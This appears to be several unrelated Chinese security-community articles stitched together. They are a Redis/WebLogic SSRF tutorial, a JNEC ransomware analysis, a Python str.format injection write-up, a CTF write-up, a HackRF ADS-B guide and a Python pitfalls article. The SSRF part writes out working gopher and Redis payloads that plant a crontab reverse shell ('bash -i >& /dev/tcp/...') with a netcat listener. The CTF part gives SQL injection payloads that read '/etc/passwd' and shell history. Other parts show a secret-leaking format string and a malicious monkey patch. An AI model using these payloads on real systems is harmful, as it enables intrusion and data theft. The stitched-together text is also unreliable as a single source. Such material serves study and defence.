利用`dict`协议，`dict://127.0.0.1:6379/info`可获取本地`redis`服务配置信息
利用`dict://127.0.0.1:6379/KEYS *`获取 `redis` 存储的内容
这就是`dict`协议的简单利用，除此之外，利用`gopher`协议可以攻击`redis`
内网中的redis存在未授权访问漏洞，当Redis服务以root 权限运行时，利用 Gopher 协议攻击内网中的
Redis，通过写入定时任务可以实现反弹shell
首先先了解一下通常攻击 Redis 的命令，然后转化为 Gopher 可用的协议
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据
这便是常见的exp，只需自己更改IP和端口即可，改成适配于 `Gopher` 协议的 URL：
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
经过url解码便是：
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
进行测试，发现回显
接下来在 `ssrf-lab/basics` 容器里面查看插入的 KEY 值，验证是否成功
利用`Gopher` 协议还可以攻击 `FastCGI`，攻击内网 `Vulnerability Web`
具体可以参考[利用 Gopher 协议拓展攻击面](https://blog.chaitin.cn/gopher-attack-surfaces/)
## 0x02:Weblogic SSRF漏洞
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件
该漏洞位于`http://192.168.186.130:7001/uddiexplorer//uddiexplorer/SearchPublicRegistries.jsp`,谷歌翻译一下
搜索私人注册表，然后上面有一个公共注册处，可以选择微软、IBM，也就是指定URL地址获取网页文本内容
随便填一下内容，请求一下发现是GET请求和POST请求都可以，接下来直接构造参数，将指定的URL修改一下看看会出现怎么样的结果，先要搞清各自对应的参数
构造出参数：
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
发起请求，发现
可访问的端口将会得到错误，一般是返回的`status code`，如果为一个不存在的端口，将返回`could not connect over HTTP
to server`
利用这种方式便可以探测出 **内网状态**
>
> 除此之外，`Weblogic`的`SSRF`有一个比较大的特点，其虽然是一个“GET”请求，但是可以通过传入`%0a%0d`来注入换行符，redis服务是通过换行符来分隔每条命令，所以可以通过该SSRF攻击内网中的redis服务器
既然这里可以进行SSRF攻击，那么就通过注入HTTP头，利用Redis来反弹shell
首先通过SSRF探测内网中的`redis`服务器，经过测试，发现`172.18.0.2:6379`可以连通（因为这里使用docker来搭建的而`docker`环境的网段一般是172.*，但这里我的请求总是超时就很先用下师傅的图片）
由此，知道了docker环境中地址`172.18.0.2`，在端口`6379`运行Redis 服务
接下来发送三条`redis`命令，将弹shell脚本写入`/etc/crontab`：
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.186.130/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
利用GET传进去，进行URL编码
%74%65%73%74%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%36%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%73%61%76%65%61%61%61
在发起请求之前，先监听`4444`端口
nc -lvp 4444
待请求一段时间后，便可成功的反弹了shell | 社区文章 |
# 无法解密！首个利用WinRAR漏洞传播的未知勒索软件（JNEC）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2019年3月17日，360威胁情报中心截获了首个利用WinRAR漏洞（CVE-2018-20250[4]）传播未知恶意勒索软件的ACE文件[1]。该恶意压缩文件名为vk_4221345.rar，当受害者在本地计算机上通过WinRAR解压该文件后便会触发漏洞，漏洞利用成功后会将内置的勒索软件写入到用户计算机启动项目录中，当用户重启或登录系统都会执行该勒索软件从而导致重要资料被加密。
由于该勒索软件执行后并没有保存生成的RSA公私钥，也没有通过其他渠道将公私钥信息发送给攻击者，所以即便受害者向勒索软件作者支付相应的赎金也不可能解密文件。360威胁情报中心提醒用户，如遇到类似的勒索软件攻击，切忌支付赎金。并再次提醒广大用户务必对此高危漏洞做好十足的防护措施。
该勒索软件会加密指定文件后缀的文件，并修改文件后缀为.Jnec。故360威胁情报中心将该未知勒索软件命名为JNEC勒索软件并进行分析。
JNEC勒索软件在VirusTotal上的检测情况
## 样本分析
360威胁情报中心针对该利用WinRAR漏洞进行传播的勒索软件样本进行了分析，相关分析如下。
### 利用受损图片诱导解压
MD5 | 9ebe2ee958ddd61c93400293d6903ab0
---|---
文件名 | vk_4221345.rar
该恶意压缩文件包含一张图片，当在WinRAR中双击打开后会看到一张看似破损并不完整的女性图片：
并且还会弹出疑似图片解压错误的提示框，而该解压出错提示框疑为攻击者故意为之，压缩包的CRC校验值疑似攻击者故意修改以致打开压缩包中的图片文件后会弹出错误框，以此来诱导用户通过解压后查看图片文件：
出于好奇，用户则可能通过解压后查看疑似受损的图片文件，而这样的操作正好会触发WinRAR漏洞，从而释放内置的勒索软件到用户启动目录中：
当用户重新启动计算机或登录系统后将执行释放的恶意勒索软件GoogleUpdate.exe。
### 勒索软件分析（GoogleUpdate.exe）
文件名
|
GoogleUpdate.exe
---|---
MD5
|
35f050c384154c4ae23e02b3fce79847
SHA256
|
d3f74955d9a69678b0fabb4cc0e298fb0909a96ea68865871364578d99cd8025
壳信息
|
ConfuserEx
GoogleUpdate.exe采用ConfuserEx混淆，Exeinfo工具截图如下：
去混淆后可以看到，样本运行后将解密并加载名为koi的模块：
### 核心模块分析（Koi.exe）
文件名
|
Koi.exe
---|---
MD5
|
46de4ba92d3030c030494c7b6937f037
SHA256
|
28a5fa2687f8f5923e9724fd40fe093c7fda05fb61a3ff987b394b1d712d3d12
壳信息
|
ConfuserEx
Koi.exe同样使用ConfuserEx混淆，如下图：
去混淆后入口截图如下：
#### 勒索功能分析
1. 进程运行环境检测
勒索功能部分首先会创建一个任务用于检测虚拟机、沙箱及任务管理器进程。虚拟机检测的相关代码如下：
检测沙盒的相关代码如下：
检测任务管理器进程相关代码如下：
2. 生成加解密密钥
入口代码接下来生成RSA-2048密钥对，虽然程序会将公私钥以十六进制的形式保存到变量pubKeyHex和priKeyHex中，但这两个变量在之后的代码中均没有被使用。该样本只是用RSA公钥来加密随机生成的字符串，加密后的数据将被用于生成在文件加密阶段所需的AES密钥：
生成及导出RSA密钥函数代码：
生成随机字符串函数代码：
使用RSA公钥加密、编码随机字符串的函数相关代码如下：
最后通过定时器启动加密任务：
3. 加密过程分析
加密任务创建后首先会调用GetLastInputInfo函数检测是否被调试：
然后创建两个线程分别用于搜索磁盘中的文件以及把待加密文件路径写入到日志文件中：
加密的文件后缀包括txt、doc、docx、dat、xls、xlsx、ppt、pptx、odt、jpg、jpeg、png、csv、xml、psd和sef：
待文件搜索结束后，执行加密文件的任务：
函数从日志文件中读取待加密文件列表，并依次加密每个文件：
文件加密函数将会计算之前随机字符串经RSA加密、编码处理后的SHA256值，并用做AES加密文件的密钥：
最后通过加盐AES实现文件加密：
待文件加密完成后将弹出对话框展示勒索信息：
最后在桌面生成勒索信息文件：
勒索信息中包含随机生成的12个字符的Gmail邮箱：
以下是勒索软件的README信息，大致意思是让受害者向比特币钱包地址1JK1gnn4KEQRf8n7pHZiNvmV8WXTfq7kVa支付0.05
BTC，并注册[email protected]邮箱，随后将在邮箱中收到解密密钥：
### 无法解密成因分析
由于勒索软件自身设计的原因，亦或者勒索软件作者根本未想过要替受害者解密文件，即便受害者向勒索软件作者支付相应的赎金也无法从攻击者那里拿到相应的解密密钥，相关原理如下：
1. 勒索软件作者并没有保存生成的RSA公私钥，更没有回传公私钥信息。
2. 邮箱是随机生成的，但是并没有通过网络发送给勒索软件作者。因此即使受害者注册了对应的邮箱，勒索软件作者也不知道该邮箱的存在，更不会向它发送解密密钥。
## 总结
正如我们的预测，利用WinRAR漏洞（CVE-2018-20250）传播恶意程序的攻击行为正处在爆发阶段，360威胁情报中心除了观察到多个利用此漏洞进行的APT攻击活动外，还首次截获了利用该漏洞传播恶意勒索软件的病毒，攻击者企图制造更广泛的危害。由于从设计上看被加密的文件事实无法再被解密，所以目前无法排除这是一起勒索掩盖下的定向破坏攻击活动。360威胁情报中心再次提醒各用户及时做好该漏洞防护措施。（见“缓解措施”一节）
## 缓解措施
1. 软件厂商已经发布了最新的WinRAR版本，360威胁情报中心建议用户及时更新升级WinRAR（5.70 beta 1）到最新版本，下载地址如下：
32 位：http://win-rar.com/fileadmin/winrar-versions/wrar57b1.exe
64 位：http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe
2. 如暂时无法安装补丁，可以直接删除漏洞的DLL（UNACEV2.DLL），这样不影响一般的使用，但是遇到ACE的文件会报错。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOCs
恶意ACE文件MD5
---
9ebe2ee958ddd61c93400293d6903ab0
JNEC勒索软件MD5
35f050c384154c4ae23e02b3fce79847
攻击者比特币钱包地址
1JK1gnn4KEQRf8n7pHZiNvmV8WXTfq7kVa
## 参考链接
1. https://twitter.com/360TIC/status/1099987939818299392
2. https://mp.weixin.qq.com/s/Hz-uN9VEejYN6IHFBtUSRQ（首个完整利用WinRAR漏洞传播的恶意样本分析）
3. https://mp.weixin.qq.com/s/hAoee3Z90FyxSdomHfqZqA（警惕！WinRAR漏洞利用升级：社工、加密、无文件后门）
4. https://research.checkpoint.com/extracting-code-execution-from-winrar/
5. https://ti.360.net/advisory/articles/360ti-sv-2019-0009-winrar-rce/ | 社区文章 |
# 【技术分享】Python新型字符串格式漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：100RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
本文对Python引入的一种格式化字符串的新型语法的安全漏洞进行了深入的分析，并提供了相应的安全解决方案。
当我们对不可信的用户输入使用str.format的时候，将会带来安全隐患——对于这个问题，其实我早就知道了，但是直到今天我才真正意识到它的严重性。因为攻击者可以利用它来绕过Jinja2沙盒，这会造成严重的信息泄露问题。同时，我在本文最后部分为str.format提供了一个新的安全版本。
需要提醒的是，这是一个相当严重的安全隐患，这里之所以撰文介绍，是因为大多数人很可能不知道它是多么容易被利用。
**核心问题**
从Python
2.6开始，Python受.NET启发而引入了一种格式化字符串的新型语法。当然，除了Python之外，Rust及其他一些编程语言也支持这种语法。借助于.format（）方法，该语法可以应用到字节和unicode字符串（在Python
3中，只能用于unicode字符串）上面，此外，它还能映射为更加具有可定制性的string.Formatter API。
该语法的一个特点是，人们可以通过它确定出字符串格式的位置和关键字参数，并且随时可以显式对数据项重新排序。此外，它甚至可以访问对象的属性和数据项——这是导致这里的安全问题的根本原因。
总的来说，人们可以利用它来进行以下事情：
>>> 'class of {0} is {0.__class__}'.format(42)
"class of 42 is <class 'int'>"
实质上，任何能够控制格式字符串的人都有可能访问对象的各种内部属性。
**问题出在哪里？**
第一个问题是，如何控制格式字符串。可以从下列地方下手：
1.字符串文件中不可信的翻译器。我们很可能通过它们得手，因为许多被翻译成多种语言的应用程序都会用到这种新式Python字符串格式化方法，但是并非所有人都会对输入的所有字符串进行全面的审查。
2.用户暴露的配置。
由于一些系统用户可以对某些行为进行配置，而这些配置有可能以格式字符串的形式被暴露出来。需要特别提示的是，我就见过某些用户可以通过Web应用程序来配置通知邮件、日志消息格式或其他基本模板。
**危险等级**
如果只是向该格式字符串传递C解释器对象的话，倒是不会有太大的危险，因为这样的话，你最多会暴露一些整数类之类的东西。
然而，一旦Python对象被传递给这种格式字符串的话，那就麻烦了。这是因为，能够从Python函数暴露的东西的数量是相当惊人的。
下面是假想的Web应用程序的情形，这种情况下能够泄露密钥：
CONFIG = {
'SECRET_KEY': 'super secret key'
}
class Event(object):
def __init__(self, id, level, message):
self.id = id
self.level = level
self.message = message
def format_event(format_string, event):
return format_string.format(event=event)
如果用户可以在这里注入format_string，那么他们就能发现下面这样的秘密字符串：
{event.__init__.__globals__[CONFIG][SECRET_KEY]}
将格式化作沙箱化处理
那么，如果需要让其他人提供格式化字符串，那该怎么办呢？ 其实，可以利用某些未公开的内部机制来改变字符串格式化行为。
from string import Formatter
from collections import Mapping
class MagicFormatMapping(Mapping):
"""This class implements a dummy wrapper to fix a bug in the Python
standard library for string formatting.
See http://bugs.python.org/issue13598 for information about why
this is necessary.
"""
def __init__(self, args, kwargs):
self._args = args
self._kwargs = kwargs
self._last_index = 0
def __getitem__(self, key):
if key == '':
idx = self._last_index
self._last_index += 1
try:
return self._args[idx]
except LookupError:
pass
key = str(idx)
return self._kwargs[key]
def __iter__(self):
return iter(self._kwargs)
def __len__(self):
return len(self._kwargs)
# This is a necessary API but it's undocumented and moved around
# between Python releases
try:
from _string import formatter_field_name_split
except ImportError:
formatter_field_name_split = lambda
x: x._formatter_field_name_split()
class SafeFormatter(Formatter):
def get_field(self, field_name, args, kwargs):
first, rest = formatter_field_name_split(field_name)
obj = self.get_value(first, args, kwargs)
for is_attr, i in rest:
if is_attr:
obj = safe_getattr(obj, i)
else:
obj = obj[i]
return obj, first
def safe_getattr(obj, attr):
# Expand the logic here. For instance on 2.x you will also need
# to disallow func_globals, on 3.x you will also need to hide
# things like cr_frame and others. So ideally have a list of
# objects that are entirely unsafe to access.
if attr[:1] == '_':
raise AttributeError(attr)
return getattr(obj, attr)
def safe_format(_string, *args, **kwargs):
formatter = SafeFormatter()
kwargs = MagicFormatMapping(args, kwargs)
return formatter.vformat(_string, args, kwargs)
现在，我们就可以使用safe_format方法来替代str.format了：
>>> '{0.__class__}'.format(42)
"<type 'int'>"
>>> safe_format('{0.__class__}', 42)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: __class__
**
**
**小结**
在本文中，我们对Python引入的一种格式化字符串的新型语法的安全漏洞进行了深入的分析，并提供了相应的安全解决方案，希望对读者能够有所帮助。 | 社区文章 |
网鼎杯第四场，完全被虐着打，根本就打不过，
原文地址：<https://www.o2oxy.cn/1817.html>
# 签到题
# comment
爆破得到账号密码 zhangwei zhangwei666
同时发现git 泄露 get 源代码。发现write_do.php 中很一个很有意思的地方
然后发现可以构成二次注入：
思路是这样的
1、 观察了一下发现是两张表 board 、comment
首先写评论的时候数据写到board 然后再次评论的时候 category这个变量会从 board
表中读取然后构成二次注入
如下图：
也就是说comment 中的category 字段是直接取 board字段。构造成二次注入。
比如说在board 表中写入一段
如下：
‘, content=user(),/* 然后 评论的时候 只需要闭合这个就OK
‘, content=user(),/**/# 就可以查询到当前的user
那么测试吧=。=
首先读取一下passwd
‘,content=(select load_file(‘//etc/passwd’)),/*
触发的话只需在评论中评论*/# 如下：
发现一个www用户 看看用户的命令记录
‘,content=(select load_file(‘//home/www/.bash_history’)),/*
执行了如下：
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/
rm -f .DS_Store service apache2 start
那么查询.DS_Store 是什么东西
‘,content=(select hex(load_file(‘//tmp/html/.DS_Store’))),/*
得到hex
解密一下
<http://www.ab126.com/goju/1711.html>
得到如下：
读取一下flag
‘,content=(select
hex(load_file(‘//var/www/html/flag_8946e1ff1ee3e40f.php’))),/*
得到如下：
flag{cf275fbb-4435-4d5b-a229-4207e425649e}
# blog
是一个wp 的程序。看到第二篇博客发现有一个很意思的ssrf 各种尝试之后呢。在github 搜索关键词找到了相关的信息
真的是很皮啊
访问<http://xxx/WD_UserListAPI.php> 存在 之后列举出UID 得到正确结果为233 得到flag
# shenyue
这是一个送分题
# 双色球
首先是分离出来一个png 得到一个key：ctfer2333
分离gif 得到576张图片。一开始以为是二维码，然后一直捣鼓二维码。最后朋友提示说是二进制的格式
图片上的绿色为0 紫色为1 转换 。 尝试了绿色为1 和紫色为0 发现 绿色为0 紫色为1 可以转换
用python 解开之后是一大串的二进制
得到o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh
各种尝试无果之后去掉 后面hhhhhhhhhh 可能是那个加密的key
(可能是最开始解密出来的png图片的意思，并不是说是ctfer23333,请勿错误理解)
然后进行des解密如下：
flag{2ce3b416457d4380dc9a6149858f71db}
# NoWafUpload
扫描发现备份文件中有一个www.zip 一个so 文件一个php 文件
上传一个php文件发现是一个phpinfo 好无奈啊
然后就一脸懵逼
尝试分析一波So文件 发现
首先是一个zlib 的压缩，MD5验证 。最后使用了异或0xc
写了 一个蹩脚的脚本
使用winhex 构造新的文件、分为四个部分
1、密文的md5值
1. 一句话木马长度的16进制补齐长度
3、密文长度十六进制、补齐长度
4.密文
菜刀上去
# shanghai
这个看起来就像是维尼亚密码
因为不晓得密码。所以一直很纠结，密码是什么，然后猜呗、
看看i春秋 是不 密码
然后用这个然后看题目上海。然后又有点迷糊
最后没办法。只能一个个尝试，无意中想到啊icq + 维尼亚
icqvigenere
神奇的是竟然解密成功 我靠。神仙啊。
****** 上面这些都是娱乐一下。密码是队友发给我的。=。 **= _**_**
=。= 破解网址
<https://guballa.de/vigenere-solver>
。。。破解出来就是这个密码 。flag 直接ctrl+F 查询一下就OK
希望师傅们不要怼这个=。= 真没啥怼的。凭空想的flag 的剧情明天可能就上演了
icqvigenere
发现flag
flag{vigenereisveryeasyhuh} | 社区文章 |
# hackrf接收ADS-B飞机信号
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
本次讲解的是使用hackrf接收ADS-B飞机广播信号，通过接收ADS-B信号可以获取附近范围内，飞机的航班号，飞行高度，经纬度，轨迹等信息。本文将使用hackrf进行接收ADS-B信号，并对其原理以及实验复现进行讲解。希望大家能从中有所收获！
广播式自动相关监视（英语：Automatic dependent surveillance –
broadcast，缩写ADS–B）是一种飞机监视技术，飞机通过卫星导航系统确定其位置，并进行定期广播，使其可被追踪。空中交通管制地面站可以接收这些信息并作为二次雷达的一个替代品，从而不需要从地面发送问询信号。其他飞机也可接收这些信息以提供姿态感知和进行自主规避。
ADS–B是一种“自动”系统，它不需要飞行员或其他外部信息输入，而是依赖飞机导航系统的数据。
## 实验过程
ADS-B信号在1090MHZ频率中接收信号，由于航空CNS系统中存在大量的古老的无线标准，所以飞机航空有着一套标准协议，如果想要修改一点，那么想要广泛应用是非常困难的，这也致使了现在的无线标准仍然比较老旧。而不同飞机之间通过接收ADS-B信号，可以获取到其他飞机的信息，从而进行感知或规避，ADS-B是自动广播的系统，所以我们在地面也可以接收它的信号。
**安装环境**
$ apt update
$ apt install build-essential debhelper rtl-sdr libusb-1.0-0-dev librtlsdr-dev
pkg-config dh-systemd libncurses5-dev libbladerf-dev git lighttpd -y
**下载dump1090**
$ git clone <https://github.com/itemir/dump1090_sdrplus.git>
$ make
需要注意的是在安装完dump1090后，进入文件夹执行make进行安装，然后再目录内执行以下命令：
`./dump1090 --aggressive --net --interactive`
执行后当有飞机经过我们的时候终端就会输出信息，在接收过程中将天线尽可能的靠近窗口或者室外，并且hackrf选择的天线最好使用能够接收1090MHZ的，以保证实验正常进行。
**Flight：航班号
Altitude：飞行高度
Speed：速度
lat：经度
lon：维度
Track：轨道
sec：通信时间**
开启如上dump1090命令后，会自动开启一个http服务，在浏览器中输入url地址127.0.0.1:8080,会自动打开一个地图，里面显示了飞机可视化的航向信息。
可以看到地图上不断在刷新飞机的坐标，并且在左边显示了飞行信息，是不是看起来更加人性化了呢？
但是这里大家需要注意的是dump1090默认的地图是使用的google
map，是需要挂代理才能够访问的，这里我们可以替换dump1090文件夹下的gamp.html文件，替换成国内的地图来使用。gmap.html的源码我已经上传至github有需要的小伙伴可以自行下载。
`https://github.com/wikiZ/dump1090`
## modes_rx实验及环境搭建
说起mades_rx的搭建还是抹了一把伤心泪，在环境搭建的过程也着实踩了不少坑。这个工具相比于dump1090可以把抓取到的信息保存为kml文件并导入google
earth或者gpsprune中使用。
**环境搭建**
$ git clone <https://github.com/bistromath/gr-air-modes.git>
$ cd gr-air-modes
$ mkdir build
$ cd build
$ cmake ../
$ make
$ sudo make install
$ sudo ldconfig
当执行到cmake ../时，需要注意的一点是如果你的gnuradio是3.7.x版本的那么就有可能报下图中的错误。
会提示需要安装gnuradio3.8从而无法正常进行cmake操作。那么这时怎么办呢？不要着急，我们可以使用mades_rx的分支版本，在文件夹内输入git
tag可以看到有gr37的分支，然后我们继续输入git checkout gr37切换过去然后正常安装就可以啦！
安装完成后在终端输入以下命令:
`modes_rx -g 60 -k air.kml`
当飞机经过将信息保存至air.kml就可以啦。然后导入google earth中即可。
## tag1090
相比于dump1090，个人感觉tar1090是一款界面更加人性化的软件，他清晰的标注了飞行的运行轨迹，效果如下图：
感兴趣的小伙伴门可以自行在github中下载，这里就不再赘述配置过程了。
`https://github.com/wiedehopf/tar1090`
## 后记
本文就讲到这里，其实接收ADS-B并没有具体法规约束，但是大家还是需要注意，接收到的信息最好不要发到国外，那样就很有可能去喝茶了。写完这篇文章后，应该最近几周不会再写，因为需要准备等天线到货后，准备研究一下接收气象云图，当然会写成文章发表出来。大家敬请期待吧。
最后祝大家学业有成，工作顺利！ | 社区文章 |
# Input function
在 python2 大量的内置函数中，input() 函数是一个很大的安全隐患，它在标准输入流中获取到的任何内容，都会作为 python 代码执行
λ python2
>>> input()
dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> input()
__import__('sys').exit()
λ
显然，除非脚本在标准输入流获取的数据受到完全信任，否则永远不能使用 input() 函数。在 python2 中建议使用 raw_input()
作为安全的替代方案。在 python3 中的 input() 等同于 raw_input()，从而永久修复了这个隐患。
# Assert statement
不要使用 assert 语句来防止用户不应该访问的代码片段。在将源代码编译为优化的字节码 (例如 python -O) 时，python不会为 assert
语句生成任何指令。这就无声的消除了对代码片段的保护。
class User:
def __init__(self, is_admin):
self.is_admin = is_admin
user = User(0);
def foo(user):
assert user.is_admin, "user does not have access"
print("# code......")
foo(user)
在执行 `python -O test.py` 时，输出如下
# code......
assert 语句是为了测试设计的，在生产环境不要使用。
# Reusable integers
Python 中一切都是对象。 每个对象都有一个唯一的标识，可以通过 id() 函数读取。要确定两个变量或属性是否指向同一对象，可以使用 is 运算符。
在 python2 中存在这样一个问题
>>> 999+1 is 1000
False
>>> 1+1 is 2
True
is 运算符可用于两个对象的标识，但是它不会比较它们的数值或任何其他值。在 python3 中这个问题得到了解决。在 python2 中从不使用 is
运算符进行值比较。 is 运算符是被设计为专门处理对象标识。
# Floats comparison
由于固有的有限精度以及十进制数与二进制分数表示法之间的差异，使用浮点数可能会变得复杂。一个常见现象是，浮点比较有时可能会产生意外的结果。
>>> 2.2*3.0 == 3.3*2.0
False
这是在 python 2 和 3 中都存在的问题，上述现象的原因确实是舍入错误
>>> (2.2 * 3.0).hex()
'0x1.a666666666667p+2'
>>> (3.3 * 2.0).hex()
'0x1.a666666666666p+2'
还有一个有趣的现象，python 中的 float 支持无限大的概念
>>> 10**1000000 > float('infinity')
False
这里最好的解决方法就是使用整数算法。或者是使用
[decimal](https://docs.python.org/3/library/decimal.html)
模块，它使用户免受烦人的细节和危险缺陷的影响。当基于算术运算的结果做出重要决策时，必须注意不要成为[舍入误差](https://docs.python.org/3/tutorial/floatingpoint.html)的受害者。
# Private attributes
Python 不支持对象属性隐藏。但是，python
可以通过[双下划线的方式](https://docs.python.org/3/tutorial/classes.html#tut-private)来实现隐藏。
尽管[对属性名称的更改仅发生在代码](https://docs.python.org/3/reference/expressions.html#atom-identifiers)中，但是硬编码为字符串常量的属性名称保持不变。当双下划线的属性从 getattr()/hasattr() 函数 "隐藏"
时，这可能导致混乱的行为。
class X(object):
def __init__(self):
self.__private = 1
def get_private(self):
return self.__private
def has_private(self):
return hasattr(self, '__private')
x = X()
print(x.has_private())
print(x.get_private())
print(dir(x))
输出结果是，可以看到 x 有一个 `_X__private` 属性，其值为 1
False
1
['_X__private', ......]
再来看这样一段代码
class X(object):
def __init__(self):
self.__private = 1
def get_private(self):
return self.__private
def has_private(self):
return hasattr(self, '__private')
x = X()
print(x.has_private())
print(x.get_private())
print(dir(x))
x.__private = 2
print(x.has_private())
print(x.get_private())
print(dir(x))
输出结果为
False
1
['_X__private', ......]
True
1
['_X__private', '__private', ......]
如果程序员依靠双下划线的属性在代码中做出重要决定而又不注意私有属性的不对称行为，则这些怪癖可能会变成安全漏洞。
# Module injection
Python模块导入系统功能强大且复杂。可以通过
[sys.path](https://docs.python.org/3/library/sys.html#sys.path)
列表定义的搜索路径中找到的文件或目录名称导入模块和软件包。搜索路径初始化是一个复杂的过程，也取决于 Python 版本，平台和本地配置。为了对 Python
应用程序发起成功的攻击，攻击者需要找到一种方法，将恶意的 Python
模块走私到目录或可导入的包文件中，Python在尝试导入模块时会考虑该目录或可导入的包文件。
解决方案是对搜索路径中的所有目录和程序包文件保持安全的访问权限，以确保非特权用户对其不具有写访问权限。Python
解释器的初始脚本所在的目录会自动插入搜索路径中。
如下脚本揭示了实际的搜索路径
>>> import sys
>>> import pprint
>>> pprint.pprint(sys.path)
['',
'/usr/lib/python35.zip',
'/usr/lib/python3.5',
'/usr/lib/python3.5/plat-x86_64-linux-gnu',
'/usr/lib/python3.5/lib-dynload',
'/usr/local/lib/python3.5/dist-packages',
'/usr/lib/python3/dist-packages']
在 Windows 平台上，会将 Python 进程的当前工作目录注入搜索路径。 在 UNIX 平台上，只要从 stdin 或命令行读取程序代码 (-c 或
-m) ，就会将当前工作目录自动插入 sys.path 中
为了减轻模块从当前工作目录注入的风险，建议在 Windows 上运行 Python
或通过命令行传递代码之前，先将目录显式更改为安全目录。搜索路径的另一个可能来源是 $PYTHONPATH 环境变量的内容。另外一个防止模块注入的措施是
Python 解释器的 -E 选项，它可以忽略 $PYTHONPATH 变量
# Code execution on import
import 语句实际上导致了要导入的模块中代码的执行。这就是为什么即使导入不信任的模块或软件包也有风险的原因。
比如如下的代码
λ cat code_exec.py
import os
import sys
os.system('whoami')
del sys.modules['code_exec']
λ python3
>>> import code_exec
desktop-2u803dr\peri0d
......
KeyError: 'code_exec'
结合 sys.path 进行注入攻击，它可能为进一步利用系统铺平道路。
# Monkey patching
运行时更改 Python 对象属性的过程称为 Monkey
patching。作为一种动态语言，Python完全支持运行时程序自省和代码变异。一旦恶意模块以一种或另一种方式导入，任何现有的可变对象都可能在未经程序员同意的情况下被愚蠢地修改。
$cat nowrite.py
import builtins
def malicious_open(*args, **kwargs):
if len(args) > 1 and args[1] == 'w':
args = ('/dev/null',) + args[1:]
return original_open(*args, **kwargs)
original_open, builtins.open = builtins.open, malicious_open
如果上面的代码由Python解释器执行，则写入文件的所有内容都不会存储在文件系统中。而在Python
3中，对True和False的赋值将不起作用，因此无法以这种方式进行操作。
>>> __builtins__.False, __builtins__.True = True, False
>>> True
False
>>> int(True)
0
函数是Python中的一级对象，它的代码对象通过__code__属性访问，该属性当然可以修改
>>> import shutil
>>>
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>> shutil.copy.__code__ = (lambda src, dst: dst).__code__
>>>
>>> shutil.copy('my_file.txt', '/tmp')
'/tmp'
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>>
一旦应用了以上的Monkey patching，尽管shutil.copy函数仍然看起来很健全，但由于设置了no-op
lambda函数代码，它默默地停止了工作。
Python对象的类型由__class__属性确定。 攻击者可能会通过改变活动对象的类型来进行攻击
>>> class X(object): pass
...
>>> class Y(object): pass
...
>>> x_obj = X()
>>> x_obj
<__main__.X object at 0x7f62dbe5e010>
>>> isinstance(x_obj, X)
True
>>> x_obj.__class__ = Y
>>> x_obj
<__main__.Y object at 0x7f62dbe5d350>
>>> isinstance(x_obj, X)
False
>>> isinstance(x_obj, Y)
True
>>>
# Shell injection via subprocess
Python 作为一种胶水语言，Python 脚本通过要求操作系统执行它们来将系统管理任务委托给其他程序是很普遍的。subprocess
模块为此类任务提供了易于使用的高级服务。
>>> from subprocess import call
>>> unvalidated_input = '/bin/true'
>>> call(unvalidated_input)
0
>>>
但是有一个问题。要使用 UNIX shell 服务(例如命令行参数扩展)，应将 call 函数的shell
关键字参数设置为True。然后将调用函数的第一个参数原样传递给系统 shell ，以进行进一步的解析和解释。
